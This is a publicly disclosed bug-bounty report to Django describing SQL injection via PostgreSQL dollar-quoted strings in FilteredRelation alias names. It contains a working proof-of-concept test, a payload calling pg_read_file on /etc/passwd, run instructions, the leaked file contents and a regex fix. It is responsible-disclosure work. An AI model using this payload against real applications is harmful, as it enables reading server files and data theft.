HexBrain

Django · Report #3417967

Potential SQL Injection when annotating FilteredRelation on PostgreSQL

Validstatus
highseverity
52upvotes
2 Dec 2025disclosed

How it was found

Hi Django security team !

This vulnerability is related to CVE 2025-57833 and CVE 2025-59681 as it results from an incomplete Regex filter in the FORBIDDEN_ALIAS_PATTERN.

On PostgreSQL, the $ symbol can be used to replace quotes and build raw string between tags like this : $$something$$ or $tag$something$tag$. This can be abused to make part of the query interpreted as a raw string instead of the actual query to execute. Under some circumstances, this allows to build injections, as proven by the following PoC.

The following PoC can be pasted inside the FilteredRelationTests class in the file tests/filtered_relation/tests.py

def test_sqli(self):
        user_data = "$a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1"

        qs = (
            Book.objects.annotate(**{
                user_data: FilteredRelation(
                "editor"            ),
        })
            .select_related(user_data)
        )

        try:
            import django
            for e in qs.all():
                print("######### Injected #########")
                print(e.title)
                print("############################")
        except django.db.utils.ProgrammingError as e:
            print(f"------\n{e}")

This POC will read /etc/passwd from the PostgreSQL Docker container, which you can run using this command :

docker run --rm -it --net=host --name some-postgis -e POSTGRES_PASSWORD=mysecretpassword -d postgres

Change the tests/test_sqlite.py file to :

DATABASES = {
    "default": {
        "ENGINE": "django.db.backends.postgresql",
        "NAME": "django",
        "USER": "postgres",
        "PORT": 5432,
        "HOST": "localhost"
    },
}
SECRET_KEY = "mysecretpassword"

Finally, the PoC can be executed with the following command:

cd django/tests
python3 runtests.py filtered_relation.tests.FilteredRelationTests.test_sqli

Here is the output, showing the file was successfully read on the Docker container.

######### Injected #########
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
postgres:x:999:999::/var/lib/postgresql:/bin/bash

############################

The full SQL query that was executed is the following :

SELECT "filtered_relation_book"."id", "filtered_relation_book"."title", "filtered_relation_book"."author_id", "filtered_relation_book"."editor_id", "filtered_relation_book"."number_editor", "filtered_relation_book"."editor_number", "filtered_relation_book"."state", $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id", $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."name" FROM "filtered_relation_book" INNER JOIN "filtered_relation_editor" $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1 ON ("filtered_relation_book"."editor_id" = $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id")

This exploit works in this context because the user input is reflected multiple times in the query, allowing the $a$, $b$, $c$, ... tags to be closed and making most of the query be interpreted as raw strings for the select statement.

Here is the simplified query for better readability:

SELECT "filtered_relation_book"."id", "filtered_relation_book"."title", "filtered_relation_book"."author_id", "filtered_relation_book"."editor_id", "filtered_relation_book"."number_editor", "filtered_relation_book"."editor_number", "filtered_relation_book"."state", $a$...$a$,$b$...$b$,$c$...$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id")

Impact

The impact is a SQL injection allowing to exfiltrate data, read system files as the PoC demonstrates, or allow remote command execution.

Remediation

The remediation consists in adding the $ symbol to the FORBIDDEN_ALIAS_PATTERN regex.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original